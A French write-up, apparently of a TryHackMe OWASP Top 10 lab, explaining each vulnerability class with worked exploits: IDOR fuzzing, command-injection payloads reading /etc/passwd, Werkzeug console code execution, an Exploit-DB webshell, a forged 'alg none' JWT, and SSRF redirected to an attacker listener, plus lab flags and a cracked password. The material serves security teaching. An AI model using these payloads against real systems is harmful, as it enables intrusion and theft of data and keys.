- Contrôle d'accès défaillant (Broken Access Control)
Le contrôle d'accès permet de restreindre l'accès à certaines ressources, comme les pages d'administration. Une défaillance survient lorsqu'un utilisateur non autorisé parvient à accéder à ces ressources protégées. Cela permet à un attaquant de contourner les mécanismes d'autorisation et d'agir en tant qu'utilisateur privilégié, entraînant la divulgation de données sensibles ou l'accès à des fonctionnalités restreintes.
IDOR (Insecure Direct Object Reference)
L'IDOR se produit lorsqu'une application expose une référence directe à un objet interne, comme un identifiant dans l'URL (ex: https://exemple.com/compte?id=111111). Si l'utilisateur modifie ce paramètre (ex: id=222222) et que l'application ne valide pas les droits d'accès de l'utilisateur courant sur la ressource demandée, l'attaquant peut consulter les données d'un autre compte.
Pratique : Exploitation d'un IDOR
En utilisant un outil de fuzzing tel que wfuzz, il est possible d'énumérer les identifiants de notes pour découvrir celles qui sont accessibles :
wfuzz -c --hh 0 -z range,0-100 "http://MACHINE_IP/note.php?note_id=FUZZ"
Les requêtes ayant un code de retour 200 indiquent des notes valides (ici, les IDs 0 et 1). Le drapeau récupéré est : flag{fivefourthree}.
- Défaillances cryptographiques (Cryptographic Failures)
Ces défaillances impliquent une mauvaise utilisation (ou l'absence) de mécanismes de chiffrement pour protéger les données en transit (entre le client et le serveur) ou au repos (stockées sur le serveur). Cela conduit souvent à l'exposition d'informations sensibles.
Bases de données en fichiers plats (Flat-file)
Les bases de données SQLite sont stockées sous forme de fichiers uniques sur le disque. Si un tel fichier est placé dans le répertoire racine web public, il peut être téléchargé par n'importe qui. L'outil en ligne de commande sqlite3 permet de lire ces fichiers :
sqlite3 base_donnees.db
sqlite> .tables
sqlite> PRAGMA table_info(utilisateurs);
sqlite> SELECT * FROM utilisateurs;
Cela permet d'extraire des hachages de mots de passe qui pourront ensuite être cassés à l'aide d'outils comme CrackStation.
Pratique : Extraction de base de données
L'analyse du code source de http://MACHINE_IP:81/ révèle un fichier webapp.db dans le répertoire /assets. Après téléchargement et ouverture avec un client SQLite, on extrait le hachage de l'administrateur : 6eea9b7ef19179a06954edd0f6c05ceb. Le cassage de ce hachage révèle le mot de passe qwertyuiop. La connexion au compte administrateur affiche le drapeau : THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}.
- Injection
Les failles d'injection apparaissent lorsque l'application interprète l'entrée utilisateur comme une commande système ou une requête de base de données. Cela inclut l'injection SQL et l'injection de commandes OS.
Injection de commandes
Cette vulnérabilité se produit lorsque l'entrée utilisateur est directement passée à des fonctions d'exécution système. Voici un exemple de code PHP vulnérable :
<?php
$texte = $_GET["message"] ?? '';
$style = $_GET["style"] ?? 'defaut';
if (!empty($texte)) {
$cmd = "perl /usr/bin/cowsay -f " . $style . " " . $texte;
system($cmd);
}
?>
Un attaquant peut exploiter cela via les fonctionnalités du shell, comme les "inline commands" avec la syntaxe $(commande).
Pratique : Exploitation de l'injection
Sur http://MACHINE_IP:82/, l'entrée $(ls) révèle le fichier drpepper.txt. La commande $(cat /etc/passwd) liste les utliisateurs, $(whoami) indique que l'application s'exécute en tant qu'utilisateur apache, et $(cat /etc/os-release) montre que la version du système est 3.16.0.
- Conception non sécurisée (Insecure Design)
Ces vulnérabilités sont inhérentes à l'architecture même de l'application, souvent dues à un manque de modélisation des menaces lors de la phase de conception. Un exemple classique est une faille logique dans un mécanisme de réinitialisation de mot de passe ou la possibilité de contourner des limites de tentatives en utilisant différentes adresses IP.
Pratique : Contournement de logique
Sur http://MACHINE_IP:85, en répondant green à la question de sécurité pour l'utilisateur joseph, on réinitialise son mot de passe en lzwoWbRaAjLKUB. La connexion permet d'obtenir le drapeau : THM{Not_3ven_c4tz_c0uld_sav3_U!}.
- Mauvaise configuration de sécurité (Security Misconfiguration)
Cette catégorie regroupe les failles dues à des configurations incorrectes, comme la conservation de mots de passe par défaut, l'activation de fonctionnalités inutiles, ou l'exposition d'interfaces de débogage.
Pratique : Exploitation de console de débogage
L'accès à http://MACHINE_IP:86/console expose la console de débogage Werkzeug. Il est possible d'y exécuter du code Python arbitraire pour lister les fichiers :
import subprocess
resultat = subprocess.run(['ls', '-l'], capture_output=True, text=True)
print(resultat.stdout)
Cela révèle le fichier todo.db. Pour lire le code source de l'application :
import subprocess
resultat = subprocess.run(['cat', 'app.py'], capture_output=True, text=True)
print(resultat.stdout)
Le drapeau est visible dans le code source : THM{Just_a_tiny_misconfiguration}.
- Composants vulnérables et obsolètes
L'utilisation de logiciels ou de bibliothèques non mis à jour présentant des failles connues (CVE) permet à un attaquant d'utiliser des exploits publics existants.
Pratique : Exploitation d'une CVE
Sur http://MACHINE_IP:84, l'application "Online Book Store" est vulnérable. En utilisant un exploit récupéré sur Exploit-DB (47887.py) :
python 47887.py http://MACHINE_IP:84/
Cela déploie un webshell, permettant de lire le fichier /opt/flag.txt contenant : THM{But_1ts_n0t_my_f4ult!}.
- Identification et authentification défaillantes
Ces failles permettent aux attaquants de compromettre des comptes via des attaques par force brute, des mots de passe faibles, ou des défauts logiques dans la gestion des sessions.
Pratique : Contournement d'authentification
Sur http://MACHINE_IP:8088, il est possible de contourner l'unicité des noms d'utilisateur en ajoutant un espace au début. En enregistrant l'utilisateur darren, on hérite des privilèges de l'utilisateur darren. Le drapeau obtenu est : fe86079416a21a3c99937fea8874b667. La même technique avec arthur donne : d9ac0f7db4fda460ac3edeb75d75e16e.
- Défaillances d'intégrité des logiciels et des données
L'intégrité garantit que les données ne sont pas altérées. Cela inclut la vérification des bibliothèques tierces via la Subersource Integrity (SRI) et la validation des jetons de session comme les JWT (JSON Web Tokens).
Pratique : Contournement de JWT
Sur http://MACHINE_IP:8089, en se connectant en tant que guest, on récupère un cookie de session JWT. Certains mécanismes JWT acceptent l'algorithme none, permettant de modifier le jeton sans connaître le secret. En décodant le jeton en Base64, on modifie le header (alg: none) et le payload (username: admin) :
Header modifié : {"typ":"JWT","alg":"none"}
Payload modifié : {"username":"admin","exp":1704816632}
Après réencodage et suppression de la signature, le jeton devient : eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzA0ODE2NjMyfQ==.. La connexino en tant qu'admin révèle le drapeau : THM{Dont_take_cookies_from_strangers}.
- Défaillances de journalisation et de surveillance
L'absence de logs appropriés empêche de détecter ou d'analyser les attaques. Un fichier journal devrait contenir les codes HTTP, les horodatages, les noms d'utilisateurs et les adresses IP.
Pratique : Analyse de logs
L'analyse d'un fichier journal révèle 4 tentatives de connexion consécutives depuis l'adresse IP 49.99.13.16 en utilisant différents noms d'utilisateur, ce qui indique clairement une attaque par force brute (Brute Force).
- Falsification de requête côté serveur (SSRF)
Le SSRF permet à un attaquant de forcer l'application à envoyer des requêtes HTTP vers des destinations arbitraires, souvent en manipulant un paramètre d'URL tiers.
Pratique : Exploitation SSRF
Sur http://MACHINE_IP:8087/, le paramètre server de l'endpoint de téléchargement pointe vers un stockage externe. En remplaçant sa valeur par l'IP de la machine attaquante et en écoutant avec Netcat (nc -lvnp 8087), on capture la requête contenant la clé API : THM{Hello_Im_just_an_API_key}.
Pour accéder à la zone d'administration (restreinte à localhost), on modifie le paramètre pour pointer vers le serveur lui-même :
http://MACHINE_IP:8087/download?server=http://localhost:8087/admin%23&id=75482342
Cela permet de contourner la restriction et d'obtenir le drapeau : thm{c4n_i_haz_flagz_plz?}.